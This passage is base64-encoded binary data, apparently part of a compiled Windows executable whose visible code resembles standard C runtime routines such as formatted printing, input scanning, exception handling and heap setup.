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 